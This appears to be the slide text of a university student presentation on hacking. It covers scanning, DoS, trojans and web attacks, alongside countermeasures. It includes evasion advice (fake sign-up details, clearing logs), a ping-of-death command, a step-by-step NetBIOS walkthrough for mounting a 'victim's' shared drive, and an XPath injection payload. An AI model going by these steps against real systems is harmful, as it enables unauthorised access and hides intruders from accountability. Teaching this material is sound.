Hacking

HACKING
Computer Security CS-460
Team Presentation By:
Abdul M
Faiyaz Hassan
Waseem Rangoonwala
Find this Topic on:
www.neiu.edu/~ammoham6
www.neiu.edu/~ffhassan
www.techwasim.blogspot.com

What is Hacking?
Hacking refers to an array of activities which are done to
intrude some one else’s personal information space so as
to use it for malicious, unwanted purposes.
Hacking is a term used to refer to activities aimed at
exploiting security flaws to obtain critical information for
gaining access to secured networks.

A Brief History of Hacking
 1980s
- Cyberspace coined
-414 arrested
-Two hacker groups formed
-2600 published
 1990s
-National Crackdown on hackers
-Kevin Mitnick arrested
-Microsoft’s NT operating system pierced

A Brief History of Hacking
 2001
– In one of the biggest denial-of-service attack, hackers
launched attacks against eBay, Yahoo!, CNN.com.,
Amazon and others.
 2007
– Bank hit by “biggest ever” hack. Swedish Bank, Nordea
recorded nearly $1 Million has been stolen in three months
from 250 customer account.

Famous Hackers in History
Ian Murphy Kevin Mitnick Johan Helsinguis
Mark AbeneLinus Torvalds Robert Morris

The Hacker Attitude
 The world is full of fascinating problems waiting to be solved
Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort.
The effort takes motivation. To be a hacker you have to get a basic thrill
from solving problems, sharpening your skills, and exercising your
intelligence.
 Nobody should ever have to solve a problem twice
Creative brains are a valuable, limited resource. To behave like a hacker,
you have to believe that the thinking time of other hackers is precious --
so much so that it's almost a moral duty for you to share information,
solve problems and then give the solutions away just so other hackers
can solve new problems instead of having to perpetually re-address old
ones.

The Hacker Attitude
 Boredom and drudgery are evil.
Hackers (and creative people in general) should never be bored or have
to drudge at stupid repetitive work
 Freedom is good
Hackers are naturally anti-authoritarian. Anyone who can give you orders
can stop you from solving whatever problem you're being fascinated by
 Becoming a hacker will take intelligence, practice, dedication, and
hard work.

Basic Hacking Skills
 Learn how to program.
This, of course, is the fundamental hacking skill. If you don't know any
computer languages, you cant do hacking.
 Get one of the open-source Unix's and learn to use and run it
The single most important step any newbie can take towards acquiring
hacker skills is to get a copy of Linux or one of the BSD-Unix’s, install it
on a personal machine, and run it.
 Learn how to use the World Wide Web and write HTML.
To be worthwhile, your page must have content -- it must be interesting
and/or useful to other hackers.

Hacking Premeasured
 When you start hacking the first thing you need to do is: to make sure the
victim will not find out your real identity.
 So hide your IP by masking it or using a anonymous proxy server. This is
only effective when the victim has no knowledge about computers and
internet. Organizations like the F.B.I, C.I.A and such will find you in no
time, so beware !
 The best thing to do is using a dialup connection that has a variable IP
address. Be smart, when you signup for a internet dialup connection use
a fake name and address.
 When hacking never leave traces of your hacking attempts, clear log files
and make sure you are not monitored. So use a good firewall that keeps
out retaliation hacking attempts of your victim.

IP Addresses
 Every system connected to a network has a unique Internet Protocol (IP)
Address which acts as its identity on that network.
 An IP Address is a 32-bit address which is divided into four fields of 8-bits
each. For Example, 203.94.35.12
 All data sent or received by a system will be addressed from or to the
system.
 An attacker’s first step is to find out the IP Address of the target system.

IP Addresses: Finding out an IP Address
 A remote IP Address can easily be found out by any of the following
methods:
Through Instant Messaging Software
Through Internet Relay Chat
Through Your website
Through Email Headers

Finding an IP Address via Instant Messengers
 Case: If you are chatting on messengers like MSN, YAHOO etc. then
the following indirect connection exists between your system and your
friend’s system:
Your System------Chat Server---- Friend’s System
Friend’s System---------Chat Server------- Your System
Thus in this case, you first have to establish a direct connection with
your friend’s computer by either sending him a file or by using the call
feature.
Then, goto MSDOS or the command line and type:
C:>netstat -n
This command will give you the IP Address of your friend’s computer.

Finding an IP Address via Instant Messengers
Countermeasures
Do not accept File transfers or calls from unknown people
Chat online only after logging on through a Proxy Server.
A Proxy Server acts as a buffer between you and the un-trusted network
known as the Internet, hence protecting your identity.
Case: Your System-----Proxy------Chat Server------Friend’s System
Some good Proxy Servers are:
Wingate (For Windows Platform)
Squid (For Unix Platforms)

Finding an IP Address via your website
 One can easily log the IP Addresses of all visitors to their website by
using simply JAVA applets or JavaScript code.
Countermeasures
 One should surf the Internet through a Proxy Server.
 One can also make use of the numerous Free Anonymous Surfing
Proxy Services.
For Example, www.anonymizer.com

Finding an IP Address via Email Headers
 Hotmail.com along with numerous other Email Service Providers, add
the IP Address of the sender to each outgoing email.
 A Typical excerpt of such a Header of an email sent from a Hotmail
account is:
Return-Path: <XXX@hotmail.com>
Received: from hotmail.com by sbcglobal.net
(8.9.1/1.1.20.3/13Oct08-0620AM)
id TAA0000032714; Sun, 12 OCT 2008 19:02:21 +0530 (CST)
Message-ID: <20000123133014.34531.qmail@hotmail.com>
Received: from 202.54.109.174 by www.hotmail.com with HTTP;Sun,
Sun, 12 OCT 2008 05:30:14 PST
X-Originating-IP: [202.xx.109.174]

IP Addresses: Dangers & Concerns
Dangers & Concerns
 DOS Attacks
 Disconnect from the Internet
 Trojans Exploitation
 Geographical Information
 File Sharing Exploits

General Hacking Methods
 A typical attacker works in the following manner:
1. Identify the target system.
2. Gathering Information on the target system.
3. Finding a possible loophole in the target system.
4. Exploiting this loophole using exploit code.
5. Removing all traces from the log files and escaping without
a trace.

Port Scanning: An Introduction
Port Scanning means to scan the target system in order to get a list of
open ports (i.e. ports listening for connections) and services running on
these open ports.
Port Scanning is normally the first step that an attacker undertakes.
Is used to get a list of open ports, services and the Operating System
running on the target system.
Can be performed easily by using different methods.
Manual Port Scanning can be performed using the famous ‘Telnet’
program.
It is often the first tell tale sign, that gives an attacker away to the system
administrator.

Port Scanning : TCP Connect Scanning
 Port Scanner establishes a full 3-way TCPIP Handshake with all ports
on the remote system. The regular 3-way TCPIP Handshake has been
depicted below:
1. Client---------SYN Packet------------- Host
2. Host-----------SYNACK Packet-------- Client
3. Client----------ACK Packet--------------- Host
 Accurate and Fastest Port Scanning Method.
Detection and Countermeasures
 Initialization and Termination of Connections on multiple ports from the
same remote IP Address.
 Only monitoring can be done. No effective countermeasure available,
without compromising on the services offered by the system.

Port Scanning: Security Threats
Port Scanning is commonly used by computer attackers to get the following
information about the target system:
List of Open Ports
Services Running
Exact Names and Versions of all the Services or Daemons.
Operating System name and version
All this information can collectively prove to be invaluable when the attacker
is actually trying to infiltrate into the target system.

Port Scanning : Major Tools Available
Some of the best and the most commonly used Port Scanners are:
 Nmap
 Superscan
 Hping
Common Features of all above Port Scanners:
 Very Easy to Use
 Display Detailed Results
The easy usability and the detailed information reports generated by
popular port scanners has led to an alarming increase in the number of
script kiddies.

Port Scanning: Counter-Attacks Strategies
Although, it is impossible to stop clients from Port Scanning your network,
however, it is advisable to take all possible measures against possible
attackers. Some useful Anti-Port Scanning software available are:
 Scanlogd (A Unix based Port Scan Detector & Logger)
 BlackICE (A Windows based Port Scan Detector & Logger)
 Snort: A packet sniffer cum IDS.
 Abacus Port sentry: Capable of Detecting both normal and stealth
port scanning attempts.
Other than the above tools, it is always advisable to disable as many
services as possible. In other words, one should try to close as many ports
as possible, without compromising on the services offered by that system.

ICMP Scanning: An Introduction
 The Internet Control Message Protocol (ICMP) is the protocol used for
reporting errors that might have occurred while transferring data
packets over networks
 Extremely Useful in Information Gathering.
 Originally, designed for network diagnosis and to find out as to what
went wrong in the data communication.
 Can be used to find out the following:
 Host Detection
 Operating System Information
 Network Topography Information
 Firewall Detection

ICMP Scanning: Host Detection Techniques
 ICMP Host Detection technique ‘ping’ command or utility.
 The ‘ping’ utility can be used to determine whether the remote host is
alive or not.
 The ping command can be used by the attacker for the following
purposes:
 Host Detection Purposes
 To clog up valuable network resources by sending infinite ‘Echo
request’ ICMP messages.
 Firewall detection

ICMP Scanning: Host Detection---Ping Example
 Below is sample output of a PING command executed on a Windows
machine:
C:WINDOWS>ping www.yahoo.com

Pinging www.yahoo-ht3.akadns.net [69.147.96.15] with
32 bytes of data:

Reply from 69.147.96.15 : bytes=32 time=163ms TTL=61
……………

Various Types of Attacks
There are an endless number of attacks, which a system administrator
has to protect his system from. However, the most common ones are:
 Denial of Services attacks (DOS Attacks)
 Threat from Sniffing and Key Logging
 Trojan Attacks
 IP Spoofing
 Buffer Overflows
 All other types of Attacks

Denial of Services (DOS) Attacks
DOS Attacks are aimed at denying valid, legitimate Internet and Network
users access to the services offered by the target system.
In other words, a DOS attack is one in which you clog up so much
memory on the target system that it cannot serve legitimate users.
There are numerous types of Denial of Services Attacks or DOS Attacks.

DOS Attacks: Ping of Death Attack
The maximum packet size allowed to be transmitted by TCPIP on a
network is 65 536 bytes.
In the Ping of Death Attack, a packet having a size greater than this
maximum size allowed by TCPIP, is sent to the target system.
As soon as the target system receives a packet exceeding the allowable
size, then it crashes, reboots or hangs.
This attack can easily be executed by the ‘ping’ command as follows:
ping -l 65540 hostname

DOS Attacks: SMURF Attacks
 In SMURF Attacks, a huge number of Ping Requests are sent to the
Target system, using Spoofed IP Addresses from within the target
network.
 Due to infinite loops thus generated and due to the large number of
Ping Requests, the target system will crash, restart or hang up.

Threats from Sniffers and Key Loggers
 Sniffers: capture all data packets being sent across the
network in the raw form.
Commonly Used for:
 Traffic Monitoring
 Network Trouble shooting
 Gathering Information on Attacker.
 For stealing company Secrets and sensitive data.
 Commonly Available Sniffers
 tcpdump
 Ethereal
 Dsniff

Threats from Sniffers: Working & Countermeasures
 Working
Sniffers work along with the NIC, capturing all data packets in range of
the compromised system.
 Countermeasures
 Switch to Switching Networks. (Only the packets meant for that
particular host reach the NIC)
 Use Encryption Standards like SSL, SSH, IPSec.

Threats from Key Loggers
 Key loggers: Record all keystrokes made on that system and store
them in a log file, which can later automatically be emailed to the
attacker.
 Countermeasures
 Periodic Detection practices should be made mandatory.
A Typical Key Logger automatically loads itself into the memory,
each time the computer boots.
 Thus, the start up script of the Key Logger should be removed.

Trojan Attacks
 Trojans: act as a RAT or Remote Administration Tool, which allow
remote control and remote access to the attacker.
Working:
1. The Server Part of the Trojan is installed on the target system
through trickery or disguise.
2. This server part listens on a predefined port for connections.
3. The attacker connects to this Server Part using the Client part of
the Trojan on the predefined port number.
4. Once this is done, the attacker has complete control over the
target system.

Trojan Attacks: Detection and Countermeasures
 Detection & Countermeasures
 Port Scan your own system regularly.
 If you find a irregular port open, on which you usually do not have
a service running, then your system might have a Trojan installed.
 One can remove a Trojan using any normal Anti-Virus Software.

Live Example Hacking NetBIOS
What is NetBIOS?
NetBIOS (Network Basic Input/output System) was originally developed by
IBM as an Application Programming Interface (API) for client software to
access LAN resources. Since its creation, NetBIOS has become the basis
for many other networking applications. In its strictest sense, NetBIOS is an
interface specification for acessing networking services.
Step 1:
Get a IP (range) scanner. (Recommended Superscanner).
Scan the victim's IP on TCP/IP port 139.

Live Example Hacking NetBIOS:
Continue
 Step 2:
Open a DOS prompt.
Go to Start-> Run.
Type CMD and press OK.
This is what you see:
c:windows>
This is what you need to type down:
Replace 255.255.255.255 with the victims IP address.
c:windows>nbtstat -a 255.255.255.255

Continue
 Step 2: Continue
If you see this, you are in:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------------------------
User <00> UNIQUE Registered
Workgroup <00> GROUP Registered
MAC Address = xx-xx-xx-xx-xx-xx
If you don't get the number <20>. The victim disabled the File And Printer
Sharing, find a another victim

Continue
Step 3:
Type down:
c:windows>net view 255.255.255.255
If the output is like this:
Shared resources at 255.255.255.255
ComputerNameGoesHere
Share name Type Used as Comment
------------------------------------------------------------
CDISK Disk xxxxx xxxxx
The command completed successfully.
"DISK" shows that the victim is sharing a Disk named as CDISK

Continue
Step 4:
Type down:
You can replace x: by anything letter you want but not your own drive
letters.
CDISK is the name of the shared hard drive.
c:windows>net use x: 255.255.255.255CDISK
If the command is successful we will get the confirmation.
The command was completed successfully
Now open windows explorer or just double click on the My Computer icon
on your desktop and you will see a new network drive X:> .
Now your are a small time hacker.
Good luck.

Internet Application Hacking
Statistics
 WHID (Web Hacking Incident Database) annual report for 2007
67% percent of the attacks in 2007 were "for profit" motivated.
And it targeted the Web-Applications.
 Acunetix, a leading vendor of web application security
solutions, revealed that on average 70% of websites are at
serious and immediate risk of being hacked. Every 1500 lines
of code has one security vulnerability. (IBM LABS)
 3 out of 4 websites are Vulnerable to attack. (Gartner Report)
 Most popular attacks are against web server ( incident.org)

Why So Many Attacks on Web
Application???
 Mobile Application, Browser Application.
 Internet data is shared.
 24 / 7

Web Application are Three-tier
Application
Three-tier application

General Hacking Methods
 A typical attacker works in the following manner:
1. Identify the target system.
2. Gathering Information on the target system.
3. Finding a possible loophole in the target system.
4. Exploiting this loophole using exploit code.
5. Removing all traces from the log files and escaping without a
trace.

Fundamental Methodology to do
any Web-Application Assessment
 Foot printing
Discovery of Web application
 Profiling
 Getting Real Attack Points
 Exploit the system
 Finding the defend mechanism and approach
for them

Start With Foot Printing
 IP Address and Port as start point for
assessment- MYTH
 What if IP address is multi-hosted?
 One IP can have more application to assess.
 Finding web application running on domain.
 HOW????

2-Ways
 Host Foot printing
 Domain Foot printing.
 Both focus on Web application.
 Tools and method.
 LETS CHECK IT OUT!!!!!

DEMO
http://whois.webhosting.info/
http://whois.educause.net/index.asp
http://www.net-square.com/msnpawn/index.shtml
http://search.msn.com/developer/appids.aspx
Here we get the Id which we have to use as MSN APPID
(Follow the instruction in PDF file to run that application)

Web-Application Attributes
 Query String
 Javascript
 Cookie script
 Path to cgi-bin
 Others

Why Vulnerable?
 Poor Web Application coding
 Insecure deployment of web application
 Insufficient input validation
 No web traffic filtering
 Web application attributes are not guarded
well. For example Query String.

Web Application Security
Consortium (WASC) Statistics

Checking Vulnerabilities
 http://www.acunetix.com/cross-site-scripting/Copy-scanner.htm
 Once you have vulnerabilities known, Out of the 100,000
websites scanned by Acunetix WVS, 42% were found to be
vulnerable to Cross Site Scripting. XSS is extremely dangerous
and the number of the attacks is on the rise. Hackers are
manipulating these vulnerabilities to steal organizations’
sensitive data. Can you afford to be next?
 Cross Site Scripting allows an attacker to embed malicious
JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable
dynamic page to fool the user, executing the script on his
machine in order to gather data

Classes of Attacks
 Authentication
The Authentication section covers attacks that target a web site's method of
validating the identity of a user, service or application.
 Authorization
The Authorization section covers attacks that target a web site's method of
determining if a user, service, or application has the necessary permissions to
perform a requested action.
 Client-side Attacks
The Client-side Attacks section focuses on the abuse or exploitation of a web
site's users.
 Command Execution
The Command Execution section covers attacks designed to execute remote
commands on the web site. All web sites utilize user-supplied input to fulfill
requests.
 Logical Attacks
The Logical Attacks section focuses on the abuse or exploitation of a web
application's logic flow.

Attack Techniques
(Hacking Techniques)
 Brute Force
A Brute Force attack is an automated process of trial and
error used to guess a person's username, password, credit-
card number or cryptographic key
• Cross-site Scripting
Cross-site Scripting (XSS) is an attack technique that forces
a web site to echo attacker-supplied executable code, which
loads in a user's browser.
• SQL Injection
SQL Injection is an attack technique used to exploit web
sites that construct SQL statements from user-supplied input.
• XPath Injection
XPath Injection is an attack technique used to exploit web
sites that construct XPath queries from user-supplied input.

XPath Injection
<?xml version="1.0" encoding="utf-8" ?>
<orders>
<customer id="1">
<name>Bob Smith</name>
<email> bob.smith@bobsmithinc.com </email>
<creditcard>1234567812345678</creditcard>
<order>
<item>
<quantity>1</quantity>
<price>10.00</price>
<name>Sprocket</name>
</item>
<item>
<quantity>2</quantity>
<price>9.00</price>
<name>Cog</name>
</item>
</order>
</customer>
...
</orders>

XPath Query of Previous Code
 The XPath query that the application
performs looks like this
string query = "/orders/customer[@id='" + customerId +
"']/order/item[price >= '" + priceFilter + "']";

Hacking XPath Injection Query
string query = "/orders/customer[@id=''] | /*
| /foo[bar='']/order/item[price >= '" +
priceFilter + "']";

BIBLIOGRAPHY
http://www.linuxhaxor.net/2007/08/21/top-10-black-hat-hackers/
http://www.acunetix.com/cross-site-scripting/Copy-scanner.htm
http://whois.webhosting.info/
http://whois.educause.net/index.asp
http://search.msn.com/developer/appids.aspx
http://www.cisco.com/
http://www.wikihow.com/Hack
http://www.webappsec.org/projects/whid/statistics.shtml
http://www.acunetix.com/news/security-audit-results.htm
http://www.net-square.com/msnpawn/index.shtml

QUESTIONS FOR EXAMS
Q) Discuss general hacking method?
Ans:
 Identify the target system.
 Gathering Information on the target system.
 Finding a possible loophole in the target system.
 Exploiting this loophole using exploit code.
 Removing all traces from the log files and escaping without a trace
Q) If we have IP address and a port, we can do web assessment for
all web application.
(Agree/Disagree) Give Reason.
Ans:
Disagree
What if IP is hosted in multi-hosted framework?

Hacking

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